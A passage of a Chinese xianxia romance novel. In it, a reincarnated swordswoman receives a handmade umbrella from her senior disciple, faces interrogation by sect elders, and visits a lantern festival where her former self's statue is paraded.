从那一刻开始,她心里就坚定了一个想法,她也要像他们一样用手中的剑去保护别人,而且还得是那种很帅气的姿势。
再后来家里面实在是穷得揭不开锅了,养不起她了,涂茶就决定自己上神欲行拜师学艺。
那年她才五岁,也是从那一天开始,她便走上了她传奇的一生。
接连受伤,涂茶也有些累了,她靠在床上听着雨声逐渐入眠。
在睡梦中,她隐隐约约地看到一些画面,仿佛是她坠崖的那一天,有一个身影很熟悉,那人手握着剑刺穿了自己的胸膛,可这个人是谁她却怎么也看不清,就在她努力想要靠近的时候忽然间画面一转,幼时的枝幸雨站在她的身前,替她抚去了嘴角的血。
他嘴里似乎还说了什么,但涂茶听不清,迷迷糊糊挣扎着就醒了。
木屋还燃着烛灯,屋外连绵的雨好像有些小了。
涂茶巡视一番屋内的情况,忽然发现靠在那里的木棍不见了,她神色一变,慌慌张张从床上爬了下来:“我的木棍呢?!”
她屏息去寻找自己的木棍,灵力对她有感应,应该没走远,涂茶闭着眼寻着气息一步步靠近,她推开了木屋的门,外面的湿气混合着尘土气扑面而来,水雾溅落在她裸露的皮肤上,脸上温温凉凉的,耳边滴答滴答落珠声响在头顶。
灵气很近,涂茶着急也没在意外面是否下雨,抬起手想直接收回木棍,忽然手中摸到温热的感觉,指节修长,她猛地睁开眼——
庭院屋檐,枝幸雨撑着伞,替她挡去落下的雨滴。
黑夜中,少年青涩却美丽的脸庞,没有过多的情绪,只是一如平常的冷淡,但他撑起的一片天地为她挡去了吹来的风雨。
涂茶手里还握着他的手,两人撑着一把伞,目光交汇,耳边是山谷风雨树林的声音。
“下雨了。”枝幸雨将伞轻轻朝她靠近。
涂茶这才回过神,赶忙松开手:“师兄,你怎么在这?”
“我听到你的声音。”
“我刚才起来发现我的木棍不见了,所以着急出门来找。”
“我知道。”
“那…师兄有看见吗?”涂茶感受到那股气息很近,但她毕竟身上没有灵力没办法直接透视寻找,只能凭着心灵感应。
雨水滴滴落下,渗透了脚下的泥土。
枝幸雨被雨伞挡住视线,他微微歪了下头看向涂茶,手中伞还朝她倾斜而来,轻轻磕在她额头。
“师兄,你干什么呀?”
“在这。”
涂茶抬手摸额头的手一愣,看了眼伞又看了眼枝幸雨,逐渐想明白后满脸不可置信:“师兄你是说,你把那根木棍做成一把伞了!”
“嗯。”枝幸雨点点头,与她解释,“你说你想要一把伞。”
“我想要,师兄你就给我做吗?”涂茶不由在想,师兄难不成对谁都这么好吗?
“也不是,我只是觉得,你不开心的样子不好看,所以我就做了。”
“我哪有不开心…不对,我哪有不好看…”涂茶忍不住嘀咕,可是嘴角却是上扬的,眼睛也亮亮的,好像听到这个回答还挺开心的。
“外面下雨,你的伤需要静养。”
“好。”涂茶听话地点点头,不过走之前,她抬头望了一眼这把伞,墨绿色的伞面,仿佛一汪池水。
“好看。”
她笑了,双眼弯弯的,低下头看向枝幸雨,水滴从她身后落下,掉在脚边,晃动了一颗心。
两人撑着伞回到木屋,涂茶对这把伞爱不释手,长这么大还是第一次收到别人给自己做的手工礼物,而且她没想到枝幸雨手艺这么好,才多久的工夫就能做出这么精致的伞。
“师兄,你知道吗?这是我收到过最好的礼物…”涂茶开口的话忽然一顿,一个歪点子又冒了出来,马上开口道,“最好的生辰礼物!”
“生辰?”枝幸雨意外地扬扬眉,“今天是你生辰?”
“对啊,师兄,今天是我的生辰呢,我本来不想说的怕师兄有负担,而且我以前过生辰根本没有人关心,没想到今天会有师兄给我送礼物,师兄你真好。”
涂茶叽里呱啦说了一大堆,站在少年面前,抱着伞眼眸明亮又透彻,两根辫子乖顺地垂在胸前,眨眨眼的时候可爱得像只兔子。
看着她这副模样,枝幸雨不着痕迹地躲开了视线:“开心就好。”
“当然开心!”涂茶笑着走近,一脸坏心思的样子,“如果师兄能给我唱歌那就更好了~”
听到这句话,枝幸雨以为自己听错了,睁着眼退了好几步回绝:“不。”
“为什么?师兄,我看别人生辰都有人唱歌跳舞,为什么我没有?难道是我不配吗?”涂茶说着,肩膀耷拉下来,眼睛湿漉漉的,“也对,我只是一个流浪儿,无父无母,无依无靠,能有把伞就已经是天大的恩赐了,怎么能奢求师兄给我唱歌?我算什么呢,我什么都不算…”
少女越说,声音越低,还带着哭腔,好像真的很难过。
枝幸雨抿直嘴,一副挣扎又无助的模样,他长这么大第一次遇到这样的女孩,总是说一些做一些奇奇怪怪的事,让他根本捉摸不透又不知道怎么解决。
屋子里,少女的抽泣声越发明显,她捂着面,失落得像是耳朵都垂了下来。
就在这时,耳边忽然响起了低沉浑厚又带着一丝空灵的声音。
涂茶缓缓抬起头,看向身前的少年,他举着那黑色的陶埙,修长指尖在几个小孔上来回移动,嘴里轻轻吹着,像是在山林里深谷中才能听到的声音,悠长又苍凉。
一曲罢,枝幸雨放下陶埙,手还紧紧握着,似乎有些紧张。
直到涂茶扬嘴笑了,对着枝幸雨雀跃不已:“师兄!师兄!你真是这世界上最好的师兄!”枝幸雨才松了一口气。
涂茶没想到,枝幸雨会给她吹陶埙,虽然今天并不是她的生辰,但她却觉得,就算真的是生辰,也不会再有人像他这样给自己过生辰了。
“师兄,你的伞我很喜欢,你吹的陶埙我也很喜欢,师兄简直是我见过最好最好的人了!”
少女的声音是藏不住的开心,她抱着伞踮着脚,好像下一秒就要蹦跶起来,枝幸雨忍不住眼眸微弯,嘴角一抹轻轻浅浅的笑,转瞬即逝。
“师兄,你这么好,那我可不可以再提一个要求?”
“什么?”枝幸雨忍不住紧张一下,他有点怕了她了。
“师兄,我想摸摸你的陶埙,好吗?”涂茶也是对自己佩服得不行了,始终不忘初心,就想摸摸陶埙,试试它到底有什
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么问题。
“不行。”
不出所料,枝幸雨又一次拒绝了。
涂茶不想放过这个机会,追着求他:“师兄,求你了,事不过三,我都求你第三次了,你就满足我这个要求吧!你越不给我摸摸我越是想要摸摸,你知道的,人都是有好奇心的,我真的很好奇,师兄为什么不给我摸摸?”
“你在说什么乱七八糟?”枝幸雨听到她最后一句话,耳朵都烧了起来,转身就想离开,涂茶却追着不放,“师兄,求你了,我就摸摸,不做其他什么。”
“陶埙没有什么特别的,你也看见了,为什么非要摸?”
枝幸雨一边躲着她,一边将陶埙藏在衣服里。
见此,今日她非要拿到手不可。
涂茶猛地跺了下脚,将伞盖在桌子上,气呼呼道:“师兄,你真小气!我都告诉你我这么多故事了,还和你一起过生辰了,你居然连陶埙都不让我摸一下!小气,太小气了!我不和你玩了!”
说着,她转身就走,朝着大门而去。
外面正下着雨,这样出去就是在淋雨。
枝幸雨想到这点,也是没办法了,他赶忙叫住她:“涂茶!”
涂茶停下脚步,但没回头。
“好,我答应你,你别闹了。”
少年妥协的声音响在身后,涂茶眉眼一亮,欢欢喜喜转过身:“当真?师兄你不许反悔!”
“当真。”枝幸雨轻叹,取出自己胸前的陶埙,走到她面前,“它没什么特别的,只不过是对我很特殊。”
“特殊?”
“嗯。”枝幸雨点点头,目光透过这个陶埙想到了什么,“这是我母亲留给我唯一的纪念。”
涂茶伸出的手顿住了,她看向枝幸雨,他的神色满是怀念和寂寞,让人心疼。
“那我不摸了。”虽然她很想要知道陶埙里有什么,但这样做让他觉得冒犯,那就算了,反正她也不在乎什么修为灵力的。
没想到枝幸雨听了,轻轻一笑,好似觉得她真是捉摸不透,但还是耐心道:“你分享了你的故事,我也分享了我的故事,现在还生气吗?”
“不生气了,其实我也没有生气,我就是想…”
“想激我?”
闻言,两人对视一眼,都忍不住笑了。
少年笑的时候少了很多冷意,多了几分青涩的少年气。
“你摸吧,我知道你没有别的意思,如果不给你摸,我想你之后一定还会来折腾我。”
“行啊,那我不客气了。”
得到应允,涂茶终于能试一试这个陶埙了,她再次伸出手,屏息凝神,指尖一点一点靠近,身体里涌出一股暖流,她能感觉到这个陶埙对她有着前所未有的吸引力,随着她指尖缓缓落下,将陶埙全部握着手心,期待的那种感觉却迟迟没有反应。
“嗯?”涂茶忍不住疑惑。
难不成方式不对?
想着她调动了一点灵力,不多,就一点,她怕被枝幸雨发觉。
指尖注入一点灵力,渗透进陶埙,她再次试图感受,可是这次依旧没有任何反应,手中的陶埙就只是安然地躺在她手里。
可恶!这是怎么回事?一直勾引她结果没有任何反应!
涂茶不死心,一直不停地摸,这样试一遍不行又那样试一遍,上上下下,左左右右的试一遍,结果就是怎么都没反应。
直到少年忍不住了———
“你到底在摸什么?”
涂茶一愣,尴尬地抬起头:“没,没什么。”
“那你为什么一直…”
“涂茶!”
屋外忽然响起一个声音,涂茶一下子就听出来了,她借此机会松开手,逃离尴尬跑去开门,屋外那人举着伞,笑得吊儿郎当:“涂茶,怎么样?想你罗师兄没有?”
屋内灯火朦胧,罗雀骨说完就瞧见涂茶的身后走出了一个修长的身影,他有点意外:“幸雨师弟,好久不见。”
“罗师兄。”
两人隔着涂茶打了个照面。
“罗师兄,这么晚了,你来找我有什么事情吗?”
罗雀骨正了正色:“涂茶,长老阁有请,你得跟我走一趟了。”
夜色渐深,雨夜朦胧,男人难得认真的声音响在院子,涂茶眉头微蹙,心中有一种不太妙的预感。
长老阁。
那是要对她审讯啊。
8. 郁桃的神欲行
上辈子她还从来没有来过长老阁,这地方一旦被传唤,那就是对弟子的审讯。
涂茶跪在院中,正前方坐着几位年纪颇大的长老,边上站着罗雀骨枝幸雨,还有南玉昭。
看到她,涂茶大概就能猜到今日这事没那么简单了。
“院中是何人?”
“涂茶。”
一位长老摸着雪白的长须,目光犀利:“听闻几日前,你测试通灵木时发生了灵力波动之事。”
“是,不过我后来晕过去了,身体一直不太舒服,感觉受到一些冲击。”
涂茶添油加醋说了一通,得让自己听起来像是个受害者,不然发觉其中有什么异样,查到她的身份就麻烦了。
那长老摸摸胡须,上下打量了一眼涂茶:“你上前。”
涂茶起身走上前,只见那长老手掌一抬,一股灵力萦绕在她周身。
他在测试她身上的灵力。
好在她早就将灵力转移到那把伞上了。
灵力消散,她的身上并没有出现什么波动,长老收回,但并不打算就此放过她:“虽并无灵力,但你来历不明,身上仍有疑点,为保证安全,我们将对你进行拭咒。”
“拭咒?!”罗雀骨眉头一皱,转身面向长老请示,“雨长老,她是我带回来的,我可以担保她只是一个流浪儿,身上没有一点灵力,进入神欲行之前就是个女飞贼,而且她曾经从空中掉下几乎是命悬一线都不曾有什么奇怪之处,此事幸雨师弟可以做证。”
众人闻言皆看向枝幸雨,作为神欲行新一代的宗门天才,他出入神秘,往日很少有人能见到他,今日能在此见到他,大家都有些意外和好奇。
只见他的目光望向院中的涂茶———她看上去很无助。
在场的所有人都知道拭咒是一种对魔教之人的咒术,可以压制出魔教之人本来模样,但放在普通人身上也是非常痛苦的一种咒术,她才受过剑伤,怎么承受得了?
“雨长老…”枝幸雨刚要开口,一旁的南玉昭就察觉到他的想法马上打断,“雨长老!此人最会蛊惑人心,魔教之人也一贯如此,不如还是用拭咒来一试究竟最为妥当!”
“玉昭!”罗雀骨闻言面色不佳,忍不住斥责她几句,“你明知道这拭咒对于一个凡人来说是多么严重的酷刑,就算是你我陷在此阵法中也不会多轻松,何必为难她?”
南玉昭扬眉环抱,对他也很不客气:“罗师兄,你别以为你父亲是金行长老,是我爹的好友我就会对你客客气气,我告诉你,你还是收收你爱救风尘的习惯,这些非宗门大族的女子早料准了你是个什么性子的人,都故意接近你,好入神欲行修习,你不过是个会被女人骗得团团转的二货,还好意思劝我?我至少是为了宗门在彻查可疑之人,我有何不对?”
原来是金行长老的儿子,涂茶听了个清楚,算是知道这罗雀骨为何是此性格了,想当年金行那家伙最是爱美人,数不清的红颜知己,没想到这儿子也是个爱美人的,真是不是一家人不进一家门。
“南玉昭!”罗雀骨被她当众这样一番嘲讽,自然不爽快,几个跨步就想走到南玉昭身前当面掰扯掰扯,却被雨长老一番话阻止了。
“够了!不过是拭咒罢了,都是内门弟子胡闹什么?”雨长老也不惯着这些人,他与几位长老对视一眼,随后手中阵法浮现,直朝着涂茶而去。
涂茶心中一叹,复活以来她怎么尽是在吃亏?这样的阵法,她一个□□凡身是真承受不了。
只见阵法迅速落地,强压而下,涂茶猛地一跪地,正想着怎么脱身,忽然雪色长剑一出,震碎束缚她的阵法,然后一个落地护在她身前,剑气凌厉如傲雪寒梅。
众人一惊,全都看向剑的主人。
少年身形闪回,停在少女身前,他握剑俯身将人扶起,对着众人道:“不必试了。”
庭院中,枝幸雨缓缓回身,面对众位长老他毫不畏惧:“此人我愿担保,若是她有任何问题,我愿替她受刑罚处置。”
“你!”众长老无比震惊。
在场所有人也都想不到,一向冷傲孤僻的幸雨师兄,竟然会当众护一个陌生女子,他可是宗门天才,可是神欲行未来的标杆!
“幸雨师兄!你又护着她!”南玉昭怒极,看着师兄一次次保护其他人,一次次为她和自己作对,她简直无法忍受,于是拔剑而出直冲少女而去,“我要你死!”
铛——
剑身相撞,少年一动不动,用手势挥动剑身挡住南玉昭的一剑,眼中闪过戾气:“我说过,我会对你动手。”
说罢,剑身震颤,剑气如龙,一瞬间将南玉昭震飞,雨长老身侧的长老赶忙接住,让她免于一伤。
“够了!”雨长老这会儿真动怒了,“一个个都胡闹什么!不过是个未入册的凡人,几个内门弟子为此大打出手成何体统?!”
他站起身,望向院中的涂茶,目光不悦,但考虑枝幸雨是宗主弟子,又是宗门天才,其影响力不同凡响,只好作罢:“既然有枝幸雨为你担保,我暂且可放你一马,但你的身份依旧存疑,我不能允许一个来历不明的弟子进入神欲行…”
“长老。”
涂茶开口,她站在枝幸雨身后,看起来是被保护着,可她却一点也不像需要被人保护,反倒是有一种位居高位的强势。
“我记得,神欲行在很多年前,曾经也有过一个弟子,她出身贫苦,一路从外门弟子到宗门大试夺得头筹,最后破格入内门学得心法成就天下第一,为何今日,我不可以?”
“荒唐!你怎可与天下第一郁桃相提并论!”提及郁桃,雨长老神色震怒,大有对方在冒犯的意思,“郁桃虽出身不好,但她的天赋修为能力却是旁人无法匹及的,神欲行乃至五大宗门都无人能与她并肩,你一个小小凡人,凭什么可以和她一样,你有什么能力?!”
“是,我没有她那样的天赋,但我想郁桃的事迹让天下人对神欲行心向往之,认为自己也能同她一样可以有修习的机会,无论出身无论好坏,但我没想到被郁桃庇佑的神欲行实际上并非如此,反倒是对我们这样落魄之人多有猜忌排挤,看来郁桃的神欲行也不过如此。”
涂茶一番话讲完,拉着枝幸雨的手就要走:“师兄,我们走吧,这里不欢迎我,那我也不稀罕。”
枝幸雨脚步立刻跟上,好像也不在乎别人是怎么看待他作为宗主弟子,如今也是宗门第一,却和一个来历不明的女子拉拉扯扯。
“站住!”
涂茶嘴角一勾,回过头:“雨长老还有什么事吗?”
雨长老抿直嘴,看上去很不情愿,但又不得不如此:“郁桃的神欲行自然是天下第一,郁桃也自然是所有人心中的英雄,我只不过是出于保护神欲行才格外慎重,你不必激我,如若你真想入神欲行修行,那我这里有一个任务,你若是能完成,那
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我便考虑让你拜师修习。”
上钩了。
“雨长老!”南玉昭想阻止。
涂茶马上拱手谢之:“多谢雨长老,我一定完成任务。”
“但是…”
她拉着枝幸雨的手,嘴角微微一笑,狡黠又俏皮:“我手无缚鸡之力,需要幸雨师兄的帮忙,而且他替我担保了,所以我的一言一行得让他知道才行,不然各位长老怎么能放心?”
“这…”几位长老面露难色,最后看向雨长老等他定夺。
雨长老拧眉,思索片刻后:“既然如此,枝幸雨听命,此行,内门弟子枝幸雨为监察者监视涂茶的一言一行,若完成任务途中有任何不对之处,马上通报与长老阁。”
“弟子领命。”枝幸雨拱手。
“好了,此事暂且如此,散会。”雨长老说罢,眼神示意了南玉昭,随后就和几位长老一起消失在原地。
南玉昭狠狠瞪了眼涂茶,也跟着一起离开了。
“老天爷啊!”罗雀骨见大伙走得差不多了,马上跑了过来,“涂茶你这丫头!可真会惹事,你居然敢跟雨长老对呛,还敢用郁桃的名头,你知不知道,在神欲行,在整个五大宗门,她的名字就是一块金字招牌,就是大家心中永远不灭的信仰,没有人敢质疑郁桃,敢诋毁她,你居然敢这样说她!雨长老没扒了你的皮算你命大!”
“罗师兄,有这么夸张吗?我就是随口胡说的,这郁桃真有这么厉害吗?而且雨长老不是没扒我的皮吗?”
“那你是运气好!郁桃就是有这么厉害,包括我在内,我们修行之人就没有不崇拜她的!”
两人你一言我一语讲得好不起劲,一旁的枝幸雨见状目光来回一转,忽然觉得很烦,转身就走。
涂茶察觉到他离开了,马上丢下罗雀骨追了上去:“师兄,等等我!”
“涂茶!”罗雀骨在后面喊她。
涂茶头也不回就摆摆手:“罗师兄谢了,下回我再和你聊。”
“哎!”
长廊上,罗雀骨开口的话默默咽了回去,看着前面少年少女并肩的背影,他撇撇嘴:“真是见色忘义。”
穿过回廊,离开长老阁,涂茶的脚步轻快,一蹦一跳。
“开心?”
少年忍不住开口。
“开心!”涂茶点点头,侧身看向枝幸雨,“现在我不仅可以进入神欲行,还可以和师兄一起去做任务,师兄不开心吗?等任务完成,我就真的是你的师妹了,我们以后就能常常见面,有好多时间可以待在一起。”
夕阳余晖落在少女的眼眸,染上金色的光晕,如琥珀一般透亮。
听着她描述的未来,枝幸雨竟觉得——
“开心就好。”
她笑着点头,背着手跟着他一步步往山谷走,两人的背影拉得很长。
“师兄,老实说,你刚才救我的时候实在是太帅了!”
“嗯。”
“不过下回你可得快点,刚才跪那一下我膝盖可疼了。”
“好。”
“那我以后遇到危险,一喊师兄,救我!师兄你可一定要来救我!”
“…好。”
“师兄,你刚才是不是吃醋了。”
枝幸雨脚步一绊,耳朵烧了起来,反驳一句:“没有。”
脚步变得飞快。
涂茶捂着嘴,看着他慌张的背影笑眯了眼。
9. 墨家伞
原以为能在君山峰待上一段日子,没想到这才两天不到,她就要下山做任务去了。
“诺,这套衣服是外门弟子穿的,虽然你还未入册,但好歹算是预备弟子了,这衣服你就先换上。”罗雀骨说着捧着一套深蓝色的衣服。
涂茶接过:“谢谢罗师兄。”
两人站在山门前道别,枝幸雨手握着剑等在一边。
“好了,话不多说,你自己注意安全,遇到危险尽管喊幸雨师弟帮忙,他的修为高武功好,每次任务很快就能完成,你要是有什么不懂有什么困难,放心去找他,虽说他是监察者,但他向着你,不会为难你。”
罗雀骨这话说得很到位,但就是语气有点别扭,他本想给自己拐个师妹的,如今反倒他俩关系更好了,涂茶一口一个师兄,枝幸雨一站就是一幢钟,非得站着听,怎么,还怕他将人拐走吗?
“好了好了,你们走吧,下山注意安全,这次任务是勘查乌乌山可疑的魔教行踪,你们只需要调查清楚是怎么回事,有没有魔教踪迹,乌乌山离我们神欲行很近,要小心提防他们的潜伏。”
“好,知道了罗师兄。”
涂茶背着伞站在枝幸雨的长剑抬手与他挥手道别。
长剑划过天际,涂茶以自己怕高为理由最后坐在剑上,看着四周的风景,她回头问枝幸雨:“师兄,我们这次任务难吗?”
少年戴着面具,看不出他的神色,只有声音透过面具传过来:“不难,雨长老只是想考验你是否与魔教有联系,所以特别要你做这个任务。”
“我怎么可能和魔教有关系?雨长老也不知道听信了谁的话突然给我定这么一个罪。”涂茶撇撇嘴,无聊地默默自己的辫子,目光投向他的面具,“师兄,为什么你下山总要戴着面具?”
枝幸雨闻言抬手抚过面具:“我答应师尊,若是遇到外人就要戴面具。”
“为何?”
“不知,或许是对我的约束。”
“约束?”涂茶不解,示意他取下面具,“是因为师兄长得太美了,怕招来一群莺莺燕燕?”
少年取下面具的手一顿,露出的一只眼闪过无奈:“胡说什么?师尊说,我身份特别,非宗门大族,出身贫苦流浪,外人总会对我的身份指指点点,不如安生点待在君山峰,少些麻烦。”
“可师兄如今是宗门天才,说不定今年的五大宗门大试还能夺得头筹,为神欲行争光,其他人怎么还要质疑你的身世?”
涂茶挺不高兴的,她过去还是郁桃的时候也曾经历过这些,因为身份总被其他弟子排挤,后来宗门大试得了第一才被内门发现,破格将她带到内门学习,但是这个过程一直有人对她的出身嗤之以鼻,颇多不满,如今多少年过去了,怎么还是这个样子?
这个神欲行实在是太注重身份地位,内门弟子几乎全是宗门大族的后代,外人几乎学不到内门心法,阶级固化严重,照这样下去,迟早要出现传承断层。
“我不在乎这些,我来到神欲行只是因为我母亲想要我来。”
听他提起母亲,涂茶来了兴趣:“师兄,你的母亲为什么要你来神欲行?”
“我不知道,她在临终前只对我提了这么一个要求,所以我就来了。”
枝幸雨已经取下面具,没有那狰狞的面目,他俊美的面容,飘逸轻盈的身姿站在长剑上如仙鹤一般舒展俊逸。
涂茶还想继续问,少年开口打断:“到了。”
她回过头,长剑缓缓从乌乌山绕行而下,最后停在小镇上。
乌乌山坐落在神欲行边上,所以对于这些修行之人格外熟悉,同时也因为离得近所以格外热闹,几乎是人来人往。
“哇!好热闹!”涂茶还记得自己第一次来乌乌山还是七八岁的时候,也是跟着师兄来做任务。
“跟紧我。”枝幸雨收回剑,抬脚走在她前面。
两人沿着街道一路走,虽说是来做任务,但涂茶压根没有认真,她目光流转在各种店面铺子,小贩摊子,反倒是作为监察者的枝幸雨在认真看地图寻找线索。
“大概是这里…”
身前的话语还未说完,突然被另外一具脆亮的声音打断:“大叔!明明是你说这里出现过魔教之人,怎么现在又说没见过了?你知不知道我好不容易才溜下山,现在不是白跑一趟了吗?”
“小姑娘,此言差矣!我只是说我好像看见了,又没确定说真的看见了,是你们这些修行的人非要我上报给情报阁,现在三天两头来人问我,我都没嫌你们打扰我做生意,你们还怪上我了?再说了,你偷偷溜下山和我有什么关系?又不是我拦着你。”
涂茶循声探头看了过去。
只见一个相貌可爱,身上背着一个大箱子,衣服上挂着零零碎碎物件的少女正和一位壮硕的大叔争吵不停。
那少女听了大叔这番话气得直蹦脚,指着大叔骂骂咧咧:“大叔!你怎么能说好像?你应该确定了以后再上报的!我好不容易从墨家伞偷溜下山,就想见一见魔教之人是什么样子,想完成一次任务让师尊知道我已经长大了,可以跟着他们去走江湖磨炼了,结果…你!你这个坏大叔!你害我白跑一趟!”
“小姑娘!你怎么骂人呢!我都说了我…”
“大叔!”
涂茶扬声打断了他们两个人,那两人顺势看了过来:“干什么!”
枝幸雨眉头微皱,抬手示意手中的令牌:“神欲行。”
那两人瞬间嘘声,少女则是眼眸一亮,跑了过来盯着他们俩直看:“神欲行!你们是神欲行的弟子?是那个宗门第一的神欲行?郁桃的神欲行?”
“对。”涂茶笑着点点头,从枝幸雨身后走到少女面前伸出手,“我叫涂茶,他是我的师兄,枝幸雨。”
“我叫妖妖,墨家伞的弟子。”妖妖欢喜得握住了她的手,神色雀跃兴奋,“我居然遇到了神欲行的弟子,你们果然和书上说的一样,蓝衣白剑,不过他怎么戴着面具?你的剑呢?”
墨家伞,原来是专修机关与暗器的墨家伞。
“我还没有开始修习,所以背着伞充当武器呢。”至于面具,涂茶歪头看向枝幸雨,用手肘示意他可以取下,“师兄,这里不是神欲行,没人会知道的。”
少年摇头:“我答应师尊,离开神欲行更不可取下面具。”
“抱歉,我师兄有令在身上不能摘面具。”
妖妖摆摆手:“没事没事,能遇到神欲行的人我已经很高兴了,你知道吗?我从小身体不好,每天就看各种书,虽然知道很多,但我从来没有见过,我师尊也不让我离开墨家伞,这是我第一次下山。”
“原来你是墨家伞弟子,怪不得身上背着这么多东西,你这些都是机关和暗器吗?”涂茶好奇地摸摸她腰间的小壶。
妖妖点头,很是得意的样子:“当然!这些都是我自己做的,我的手艺在墨家伞可是数一数二的!”
“哇!”
就在两人聊得热火朝天时,枝幸雨已经去询问大叔关于魔教之人的情况。
“不知道,我都说了,我只是瞧那人身穿黑红衣服,形迹有些可疑,至于他去哪了,到底是不是我还真不知道。”对着神欲行的弟子,大叔语气稍微客气了点,坐在台阶上,抬起下巴示意对方去看对面,“诺,就是那个巷子,我最后就看他走进那个巷子里了。”
枝幸雨回头,那是个不太起眼的巷子。
他凝眉观察了一阵,然后对大叔道谢,再走到涂茶身边,那俩姑娘还在叽叽喳喳地聊个不停。
“你这样一个人下山安全吗?要不要和我们同行?我师兄很厉害的,他可以保护我们俩。”<
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“真的吗!我可以和你们同行?那真是太好了,我恭敬不如从命了!”
“不过天色有些晚了,我们要不要先去入住客栈?”涂茶看向身侧的枝幸雨。
他点点头。
于是三人同行一起去往客栈。
“客官,算你们运气好,还有最后两间房。”小二一边带着三人去往客房一边跟人解释,“今晚我们镇上花灯节,想必你们也是来看花灯和游神的吧。”
“花灯节?”涂茶摇摇头,看向妖妖。
妖妖马上接上小二的话:“我知道!乌乌山一年一度的花灯节,据说每年都非常热闹,各家各户都会展示自己做的花灯,最后选出花票最多的,便是今年的花灯王。”
“哎,这位小姑娘说得不错,看来很了解嘛。”
“听起来不错。”涂茶满脸期待地看向枝幸雨,“师兄,我们一起去看看吧,反正天也黑了,出去逛一逛,明日再去做任务也来得及。”
“是啊是啊!难得来一趟,一起去逛逛,留个纪念也好。”妖妖拍着手,也看向枝幸雨。
在两人殷切的眼神攻势下,枝幸雨不得不点头:“好,那就逛一逛。”
“太好了!”
两个小姑娘抱作一团,笑开了花。
夜景刚落下,满街的花灯阑珊,男女老少人人提着一盏花灯穿梭在大街小巷。
这边,涂茶拉着妖妖在小摊贩面前选面具。
“师兄。”涂茶拿了一张小狐狸的面具对着枝幸雨摇头,“好看吗?”
四周灯火朦胧又明亮,他望见她面具下那双透亮含笑的眼睛,如此的俏皮明媚。
枝幸雨握着剑,伸手付钱:“好看。”
“谢谢师兄!”
涂茶欢欢喜喜地戴着面具,继续和妖妖在各种摊贩前打转。
小姑娘逛逛走走,一转眼就将枝幸雨甩在了身后。
这边两人正说着话,忽然涂茶感觉到身侧有人经过,身上有一股熟悉的气息。
她迅速回过头,目光警觉。
“怎么了?”妖妖不解地环顾四周。
“没什么,可能是我搞错了。”涂茶嘴上是这样说的,但心里还是多了分在意。
她不动声色地将手中玩意交给妖妖,回头打量,装作诧异的样子:“哎,师兄怎么不见了?妖妖,你先逛一会儿,我去找找师兄,千万别走远了,等我们回来找你。”
说完,涂茶一溜烟就混进了人群。
人群密集,涂茶眉头紧锁,靠着那么一点直觉在人流中寻找刚才的气息。
如果她没有搞错,那么刚刚从她身边经过的人一定是魔教之人。
她和魔教中人打了这么多年交道,对他们的气息实在是太熟了。
涂茶将身后的伞握在手心,灵力注入手中,借助灵力她在人群中追寻那人的身影,只是今日花灯节人实在是太多了,她跌跌撞撞总是被人挤走,正发愁,忽然有人拉住她的手。
涂茶猝不及防回过头,人潮汹涌,各色的花灯在他们之间穿梭而过,街道上山鬼少年与狐狸少女相视,眼眸中都倒映着灯火的微光,是如此惊心动魄的美丽。
枝幸雨一手握着长剑,一手拉着她的手腕,人来人往,喧嚣热闹,耳边是那说书人在唱——正所谓“金风玉露一相逢,便胜却人间无数。”
涂茶看不清少年的脸,她突然很想知道此时此刻他究竟是怎么样的一副表情,于是她鬼使神差地走上前,轻轻抬手抚摸着他的面具:“师兄,让我看看你好吗?”
忽然,四周人流变得密集,有人经过撞了涂茶一下,她没站稳跌倒在他怀里。
少年的胸口宽阔温热,心跳声如雷震耳。
但涂茶只听见他的回答,混杂在人声鼎沸,那么清晰。
“嗯。”
10. 神像
他抬手露出半张脸,红发带扬起,涂茶看见了他发红的耳廓。
“涂茶!枝幸雨!”
妖妖的声音传来,两人回过神转头去看她。
灯火阑珊,面具少年露出的半脸足以让跑来的少女停下脚步发出赞叹:“涂茶你说得真没错,你师兄确实生得漂亮。”
枝幸雨习惯了这些赞美倒没有表现出什么不好意思,只抬手想将面具重新戴好,然而涂茶握住了他的手:“师兄,就这样吧,戴在头顶上,也不算违背你师尊的意思,而且我想看着你的脸说话。”
她总觉得对着面具,就不知道枝幸雨是什么神色,也就不知道他心里在想什么。
说罢,涂茶摘掉了自己的面具,戴在头顶上,侧身拉着他语笑嫣然:“师兄,求你了。”
面对涂茶的要求,枝幸雨好像总说不出拒绝的理由,有时候只能干巴巴地说不,但今天他似乎连不也说不出口了。
“好。”
他放弃得太快,快到他自己都有些吃惊。
妖妖上前拉过涂茶的手,指着不远处的灯火热闹处:“涂茶,听说那边有游神,我们去看看吧。”
“游神?游什么神?”
“有很多,其中还有郁桃的神像呢!”
妖妖的话音刚落,涂茶嘴角的笑停住了。
“快!去晚了就看不见了!”妖妖并没有察觉到,她拉着涂茶一路往那边挤。
顺着人流,他们三人很快就挤进了游神队伍中。
只见一个接一个的神像被人高高举起,鱼贯而出,四周欢呼雀跃,扔出手里的花瓣,举着自己做的花灯。
妖妖被这样的热闹吸引,松开手随着人群一起庆祝。
直到蓝衣白剑的郁桃神像出现,游神队伍爆发出前所未有的欢呼,耳边不停有人喊着:“郁桃!是郁桃!是天下第一的郁桃!”
被人流淹没的涂茶望着那座与她几分相似的神像,听着耳边的喧嚣与疯狂,一瞬间她的记忆被拉回到很多年前——在她还是郁桃的时候。
她也曾坐上这样的神像位置,被人高举着从敬仰崇拜自己的人群中穿过,簇拥至无上的高位,拥有着无上的荣耀和光环。
但神是被人仰望的。
所以,她不可以拥有自己的喜怒哀乐,更没有自由和权利。
那座漂亮神气的神像从她面前而过,涂茶望着竟觉得厌恶和畏惧。
她害怕再次成为郁桃,害怕她的人生再次身不由己,害怕成为一座神像的“她”。
世界在此刻抽离,她恍惚间坐上了那个宝座,看见了无数双眼睛盯着自己,身上穿着厚厚的华服,被人当作工具被展示。
郁桃,郁桃…
她不是郁桃…
她是…
“涂茶。”
忽然有人拉住了她的手,将她从那个恐怖的噩梦中拉回现实,涂茶回头看向那人,他微挑的桃花眼,眼底是淡淡的红晕,美得像是从画卷而出的妖怪,没有一点烟火人间气息。
“你怎么了?”枝幸雨眉头微蹙,有些担心。
涂茶回过神,笑着对他轻轻摇头:“我没事,我只是…只是闻到一股香味,但是想不起来是什么香味。”
枝幸雨闻言也嗅了嗅周围的味道:“这里的气味很杂,但有一股味道很浓郁一直萦绕着其中。”
“是,我一时想不起来,所以发了一会神。”涂茶随口胡诌,但也有几分真话,她过去一直被困在神欲行,除却战斗,其实很少时间能出去,对于世间很多东西其实和妖妖一样,听过但没见过。
